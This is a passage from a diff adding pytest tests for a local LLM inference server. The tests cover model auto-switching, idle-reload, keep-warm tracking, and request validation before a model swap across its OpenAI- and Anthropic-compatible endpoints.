+        asyncio.run(inference_route.openai_embeddings(_json_body_request({"model": "x"}), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no reload before rejection
+
+
+def test_messages_does_not_503_before_reload_hook_when_idle_on(monkeypatch):
+    # #3: /v1/messages 503'd before the reload hook when auto-switch was off, so a
+    # standalone idle TTL could never restore the freed model. The early 503 now
+    # defers to any automatic-load trigger, so the reload hook runs.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    # The handler proceeds past the hook to real generation (no llama-server here),
+    # so tolerate the downstream failure; the reload having run is the assertion.
+    try:
+        asyncio.run(
+            inference_route.anthropic_messages(
+                _anthropic_payload(max_tokens = 16), object(), "tester"
+            )
+        )
+    except Exception:
+        pass
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def test_messages_503_gated_on_automatic_load_predicate():
+    # Lock the #3 fix at the source: the early 503 must check the shared predicate.
+    import inspect
+    src = inspect.getsource(inference_route.anthropic_messages)
+    assert "_automatic_model_load_may_run" in src
+
+
+def test_raw_body_without_model_reloads_freed_model(monkeypatch):
+    # #6: a raw completions/embeddings body that omits `model` passed None, which
+    # skipped the idle-stash reload and 503'd. A non-empty sentinel now lets the
+    # reload run while still resolving as unknown.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    body = asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert body == {"prompt": "hi"}
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+
+
+def test_audio_generate_reloads_idle_freed_model(monkeypatch):
+    # #2: /audio/generate is keep-warm-tracked but had no reload hook, so an
+    # idle-freed audio GGUF stayed unloaded. The hook now restores it.
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [{"role": "user", "content": "say hi"}])
+    # Falls through to the non-audio backend path (no real model) after the reload;
+    # tolerate that downstream failure, the reload having run is the assertion.
+    try:
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    except Exception:
+        pass
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def test_audio_generate_does_not_reload_on_invalid_request(monkeypatch):
+    # The audio reload hook must run after message validation, so an empty request
+    # never triggers a reload.
+    from fastapi import HTTPException
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_preview_scope_disables_auto_switch(monkeypatch):
+    # #7: the public preview route delegates to the chat handler; a caller-supplied
+    # model must not switch away from the pinned checkpoint. The scope opt-out flag
+    # makes the hook a no-op.
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+
+    class _Req:
+        def __init__(self):
+            self.scope = {}
+
+    req = _Req()
+    inference_route.disable_openai_auto_switch_for_request(req.scope)
+    asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req, "tester"))
+    assert rec.calls == []  # preview opt-out suppressed the switch
+
+    # Control: a fresh request without the flag would switch.
+    req2 = _Req()
+    asyncio.run(inference_route._maybe_auto_switch_model("org/B-GGUF", req2, "tester"))
+    assert len(rec.calls) == 1
+
+
+def test_preview_chat_is_tracked_as_inference_path():
+    # #8: long preview streams use the same backend; the keep-warm middleware must
+    # count them so the idle loop can't unload mid-response.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/p/my-run/v1/chat/completions") is True
+    assert _is_inference_path("/p/my-run/ckpt-100/v1/chat/completions") is True
+    assert _is_inference_path("/p/my-run/v1/models") is False
+
+
+def test_untrack_does_not_reset_idle_timer():
+    # #9: external-provider traffic was keeping the local GGUF warm forever because
+    # untrack stamped _last_active. It must decrement in-flight without restamping.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 1
+    kw._last_active = time.monotonic() - 3600
+    before = kw._last_active
+    scope = {"type": "http"}
+    kw.untrack_current_request(scope)
+    assert kw._inflight == 0
+    assert kw._last_active == before  # idle timer not reset by an untracked request
+    kw._inflight = 0
+
+
+def test_note_start_does_not_reset_idle_timer():
+    # The start stamp was removed so an external request that is later untracked
+    # cannot reset the timer at start either; in-flight count still protects it.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    before = kw._last_active
+    kw._note_start()
+    try:
+        assert kw._inflight == 1
+        assert kw._last_active == before  # start no longer stamps activity
+        assert kw._is_idle(1.0) is False  # but in-flight still blocks unload
+    finally:
+        kw._note_end()  # restores _last_active stamp on completion
+
+
+# ── codex review (merge round): reload-only sentinel, Anthropic tool validation ──
+
+
+def test_omitted_model_does_not_resolve_to_a_named_gguf(monkeypatch):
+    # Codex P2: a raw-body request that omits `model` must never run the resolver,
+    # so a downloaded GGUF literally named "default" can't be switched to. The
+    # resolver here would switch to B if it ran; it must not.
+    backend = _FakeBackend("org/A-GGUF")  # a model is already loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    body = asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert body == {"prompt": "hi"}
+    assert rec.calls == []  # resolver skipped (would have switched to B otherwise)
+
+
+def test_omitted_model_still_reloads_idle_freed_model(monkeypatch):
+    # The reload-only sentinel must still restore an idle-freed model (the round-9
+    # behavior), it just never runs the resolver.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    asyncio.run(
+        inference_route._auto_switch_from_request_body(
+            _json_body_request({"prompt": "hi"}), "tester"
+        )
+    )
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+
+
+def _anthropic_payload_with_tools(tools, max_tokens = 16):
+    from models.inference import AnthropicMessagesRequest, AnthropicMessage
+    return AnthropicMessagesRequest(
+        model = "org/B-GGUF",
+        max_tokens = max_tokens,
+        messages = [AnthropicMessage(role = "user", content = "hi")],
+        tools = tools,
+    )
+
+
+def test_anthropic_invalid_tool_rejected_before_switch(monkeypatch):
+    # Codex P2: a malformed client tool (no input_schema, no server-tool type) must
+    # 400 before the auto-switch hook, so an invalid request never evicts the model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools([{"name": "broken"}])  # missing input_schema
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+def test_anthropic_validates_tools_before_auto_switch():
+    # Lock the order at the source: tool-shape validation precedes the hook, for
+    # both /messages and /messages/count_tokens (shared helper).
+    import inspect
+    for fn in (inference_route.anthropic_messages, inference_route.anthropic_count_tokens):
+        src = inspect.getsource(fn)
+        assert src.index("_validate_anthropic_client_tools") < src.index("_maybe_auto_switch_model")
+
+
+def test_anthropic_mixed_tools_rejected_before_switch(monkeypatch):
+    # Codex P2: combining an Anthropic server tool (type) with a custom client tool
+    # (input_schema) is unsupported and must 400 before the switch, so the request
+    # can't evict the loaded model only to be rejected after the load.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools(
+        [
+            {"type": "web_search_20250305"},  # server tool
+            {"name": "my_func", "input_schema": {"type": "object"}},  # client tool
+        ]
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+# ── codex review (round 2): schema-default model, Responses tool validation ──
+
+
+def _chat_msg(text = "hi"):
+    from models.inference import ChatMessage
+    return ChatMessage(role = "user", content = text)
+
+
+def _responses_payload(*, tools = None, set_model = True):
+    from models.inference import ResponsesRequest
+
+    kwargs = dict(input = "hi")
+    if set_model:
+        kwargs["model"] = "org/B-GGUF"
+    if tools is not None:
+        kwargs["tools"] = tools
+    return ResponsesRequest(**kwargs)
+
+
+def test_switch_model_for_payload_only_switches_when_explicit():
+    # Codex P2: an omitted `model` (pydantic fills "default") must be reload-only;
+    # an explicitly set model -- including a literal "default" -- is honored.
+    from models.inference import ChatCompletionRequest
+
+    omitted = ChatCompletionRequest(messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(omitted) == inference_route._RELOAD_ONLY_MODEL
+    explicit_default = ChatCompletionRequest(model = "default", messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(explicit_default) == "default"
+    explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()])
+    assert inference_route._switch_model_for_payload(explicit) == "org/B-GGUF"
+
+
+def test_omitted_schema_model_skips_resolver(monkeypatch):
+    # End to end: a schema request omitting `model` must not run the resolver, so a
+    # GGUF named "default" is never swapped to; an explicit model still switches.
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    omitted = ChatCompletionRequest(messages = [_chat_msg()])
+    asyncio.run(
+        inference_route._maybe_auto_switch_model(
+            inference_route._switch_model_for_payload(omitted), object(), "tester"
+        )
+    )
+    assert rec.calls == []  # resolver skipped
+    explicit = ChatCompletionRequest(model = "org/B-GGUF", messages = [_chat_msg()])
+    asyncio.run(
+        inference_route._maybe_auto_switch_model(
+            inference_route._switch_model_for_payload(explicit), object(), "tester"
+        )
+    )
+    assert len(rec.calls) == 1  # explicit model still switches
+
+
+def test_build_chat_request_propagates_omitted_model():
+    # _build_chat_request must not turn an omitted Responses model into an explicit
+    # "default", or the non-streaming chat re-check would switch on it.
+    omitted = _responses_payload(set_model = False)
+    chat_req = inference_route._build_chat_request(omitted, [_chat_msg()], stream = False)
+    assert "model" not in chat_req.model_fields_set
+    explicit = _responses_payload(set_model = True)
+    chat_req2 = inference_route._build_chat_request(explicit, [_chat_msg()], stream = False)
+    assert "model" in chat_req2.model_fields_set
+
+
+def test_responses_invalid_function_tool_rejected_before_switch(monkeypatch):
+    # Codex P2: a malformed function tool (no name) must 400 before the hook, so an
+    # invalid /v1/responses request never switches or evicts the loaded model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _responses_payload(tools = [{"type": "function", "parameters": {}}])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the model load
+
+
+def test_responses_valid_and_builtin_tools_pass_validation(monkeypatch):
+    # A well-formed function tool and a built-in (non-function) tool must pass the
+    # pre-switch check. Stub the hook so the test stops right after validation.
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _responses_payload(
+        tools = [{"type": "function", "name": "ok", "parameters": {}}, {"type": "web_search"}]
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+
+
+def test_responses_validates_tools_before_auto_switch():
+    # Lock the order at the source: tool validation precedes the switch hook.
+    import inspect
+    src = inspect.getsource(inference_route.openai_responses)
+    assert src.index("each function tool must have a 'name'") < src.index(
+        "_maybe_auto_switch_model"
+    )
+
+
+def test_responses_forcing_tool_choice_without_name_rejected_before_switch(monkeypatch):
+    # Codex P2: a forcing-function tool_choice with no name (Responses shape
+    # {"type": "function"}) must 400 before the switch, so the streaming path can't
+    # forward a bad choice and an invalid request can't evict the model.
+    from fastapi import HTTPException
+    from models.inference import ResponsesRequest
+
+    async def _boom(*a, **k):
+        raise AssertionError("must not switch on an invalid tool_choice")
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = ResponsesRequest(model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function"})
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_responses(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    # A named forcing choice is accepted (reaches the switch, which is mocked to raise).
+    ok = ResponsesRequest(
+        model = "org/B-GGUF", input = "hi", tool_choice = {"type": "function", "name": "f"}
+    )
+    with pytest.raises(AssertionError):
+        asyncio.run(inference_route.openai_responses(ok, object(), "tester"))
+
+
+# ── codex review (round 3): process-wide swap gate across event loops ──
+
+
+def test_swap_acquires_process_gate_before_load():
+    # Lock in the structure: the process-wide gate is acquired before the load and
+    # always released, so a cross-loop swap can't reach _load_model_impl unguarded.
+    import inspect
+
+    src = inspect.getsource(inference_route._maybe_auto_switch_model)
+    assert src.index("_acquire_swap_gate") < src.index("_load_model_impl")
+    assert "_auto_switch_process_lock.release()" in src
+
+
+# ── codex review (round 4): validate modality + tool-confirmation before switch ──
+
+
+def _chat_request(**kw):
+    from models.inference import ChatCompletionRequest, ChatMessage
+    kw.setdefault("messages", [ChatMessage(role = "user", content = "hi")])
+    return ChatCompletionRequest(**kw)
+
+
+def test_chat_confirm_without_stream_rejected_before_switch(monkeypatch):
+    # Codex P2: confirm_tool_calls=true + stream=false + local tools is an invalid
+    # shape; it must 400 before the switch hook so it can't evict the resident model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(
+        model = "org/B-GGUF", enable_tools = True, confirm_tool_calls = True, stream = False
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_confirm_with_bypass_permissions_reaches_hook(monkeypatch):
+    # bypass_permissions suppresses the confirm gate, so the pre-check must not fire;
+    # the request should reach the switch hook (stubbed here to a sentinel).
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _chat_request(
+        model = "org/B-GGUF",
+        enable_tools = True,
+        confirm_tool_calls = True,
+        stream = False,
+        bypass_permissions = True,
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+
+
+def test_chat_audio_input_guards_target_before_switch(monkeypatch):
+    # Codex P2: a chat request carrying audio_base64 must guard the target before the
+    # switch -- audio rides the same companion mmproj as vision -- so a text-only
+    # target can't be loaded and evict the working audio model. Assert the handler
+    # flags require_vision so the hook's multimodal probe runs.
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["require_vision"] = require_vision
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA")
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert captured["require_vision"] is True
+
+
+def test_completions_rejects_object_prompt_before_switch(monkeypatch):
+    # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error
+    # (only a string or array is valid). It must 400 before the switch so a bad shape
+    # can't load the named GGUF only to be rejected by llama-server after eviction.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_completions(
+                _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no switch before rejection
+
+
+def test_embeddings_rejects_object_input_before_switch(monkeypatch):
+    # Codex P2: an object input like {"input": {}} is a deterministic client error
+    # (only a string or array is valid); reject before the switch, like completions.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_embeddings(
+                _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_oversized_audio_rejected_before_switch(monkeypatch):
+    # Codex P2: the audio size cap is a cheap, target-independent length check, so an
+    # oversized upload must 413 before the switch rather than loading a GGUF first.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1)
+    payload = _chat_request(model = "org/B-GGUF", audio_base64 = big)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 413
+    assert rec.calls == []
+
+
+def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch):
+    # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream
+    # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before
+    # the switch. The old guard only checked explicit tool fields and missed it.
+    import state.tool_policy as _tp
+    from fastapi import HTTPException
+
+    monkeypatch.setattr(_tp, "get_tool_policy", lambda: None)  # no CLI --disable-tools
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(
+        model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_require_vision_rejects_text_target_before_switch(monkeypatch):
+    # Codex P2: an image request naming a different text-only GGUF must 400 before
+    # the swap, so the resident vision model is not evicted for a rejected request.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route._maybe_auto_switch_model(
+                "org/B-GGUF", object(), "t", require_vision = True
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # rejected before the load
+
+
+def test_require_vision_allows_vision_target(monkeypatch):
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True)
+    asyncio.run(
+        inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True)
+    )
+    assert len(rec.calls) == 1  # vision target still switches
+
+
+def test_require_vision_ignores_reload_stash(monkeypatch):
+    # The reload-stash path restores the model the request was already using; the
+    # modality check applies only to an explicit resolver target, not a restore.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    monkeypatch.setattr(
+        inference_route, "_target_is_vision", lambda _p: False
+    )  # would reject if used
+    asyncio.run(
+        inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True)
+    )
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"  # restored despite require_vision
+
+
+def test_chat_validates_confirm_and_modality_before_switch():
+    # Lock the order at the source: confirm-shape rejection precedes the hook, and
+    # the hook rejects a non-vision target before the load.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("confirm_tool_calls requires stream=true") < src.index(
+        "_maybe_auto_switch_model"
+    )
+    assert "require_vision" in src
+    hook = inspect.getsource(inference_route._maybe_auto_switch_model)
+    assert hook.index("require_vision") < hook.index("_load_model_impl")
+    assert "does not support the image or audio input" in hook
+
+
+def test_messages_have_image_helper():
+    from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart
+
+    f = inference_route._messages_have_image
+    text_only = [
+        ChatMessage(role = "user", content = "hi"),
+        ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]),
+    ]
+    assert f(text_only) is False
+    img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA"))
+    assert f([ChatMessage(role = "user", content = [img])]) is True
+
+
+def test_anthropic_request_has_image_helper():
+    from types import SimpleNamespace
+
+    f = inference_route._anthropic_request_has_image
+    text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")])
+    assert f(text) is False
+    text_block = SimpleNamespace(
+        messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])]
+    )
+    assert f(text_block) is False
+    dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])])
+    assert f(dict_img) is True
+    typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])])
+    assert f(typed_img) is True
+
+
+def test_responses_and_anthropic_wire_require_vision_from_images():
+    # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an
+    # image request can't evict a vision model for a text-only target. Lock the wiring
+    # at the source: each hook derives require_vision from the request's images.
+    import inspect
+
+    responses_src = inspect.getsource(inference_route.openai_responses)
+    assert "require_vision = _messages_have_image(" in responses_src
+    anthropic_src = inspect.getsource(inference_route.anthropic_messages)
+    assert "require_vision = _anthropic_request_has_image(" in anthropic_src
+    # /messages/count_tokens shares the /messages translation, so it needs the same
+    # guard: an image count must not evict a vision model for a text-only target.
+    count_src = inspect.getsource(inference_route.anthropic_count_tokens)
+    assert "require_vision = _anthropic_request_has_image(" in count_src
+
+
+# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ──
+
+
+def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch):
+    # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the
+    # switch, like /messages, so a count request can't evict the loaded model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _anthropic_payload_with_tools([{"name": "broken"}])  # no input_schema/type
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch):
+    # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must
+    # carry the same require_vision guard as /messages, so it can't evict a loaded
+    # vision model for a swap that can't serve the request.
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["require_vision"] = require_vision
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True)
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = _anthropic_payload_with_tools(None)  # no tools -> tool validation passes
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester"))
+    assert captured["require_vision"] is True
+
+
+def test_audio_generate_is_reload_only(monkeypatch):
+    # Codex P2: /audio/generate must not switch to a client-named GGUF. A local
+    # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal
+    # can't tell an audio projector from a vision one), so resolving the client model
+    # could evict the working audio model for a target that then fails the audio
+    # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel.
+    from models.inference import ChatCompletionRequest
+
+    class _Reached(Exception):
+        pass
+
+    captured = {}
+
+    async def _capture(
+        model,
+        request,
+        subject,
+        *,
+        require_vision = False,
+    ):
+        captured["model"] = model
+        raise _Reached()
+
+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture)
+    payload = ChatCompletionRequest(
+        model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}]
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.generate_audio(payload, object(), "tester"))
+    assert captured["model"] == inference_route._RELOAD_ONLY_MODEL
+
+
+def test_note_model_unloaded_clears_reload_stash(monkeypatch):
+    # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1
+    # request can't resurrect the just-unloaded model. (The idle loop unloads via the
+    # backend directly, so clearing on the route never fights keep-warm.)
+    import core.inference.llama_keepwarm as kw
+
+    kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M"))
+    assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M")
+    kw.note_model_unloaded()
+    assert kw.get_last_unloaded_model() is None
+
+
+def test_unload_route_clears_reload_stash(monkeypatch):
+    # The /unload route must clear the stash on both the GGUF and non-GGUF branches.
+    import inspect
+    src = inspect.getsource(inference_route.unload_model)
+    assert src.count("note_model_unloaded()") >= 2
+
+
+def test_non_gguf_load_clears_reload_stash():
+    # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF
+    # branch, so it never lingers until the idle poll (or forever, idle-unload off).
+    import inspect
+    src = inspect.getsource(inference_route._load_model_impl)
+    assert src.count("note_model_loaded()") >= 2
+
+
+def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch):
+    # Codex P2: a forcing object with no function name must 400 before the switch.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}})
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_chat_valid_tool_choice_reaches_hook(monkeypatch):
+    # A well-formed forcing object must pass the pre-check and reach the hook.
+    class _Reached(Exception):
+        pass
+
+    async def _boom(*a, **k):
+        raise _Reached()
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
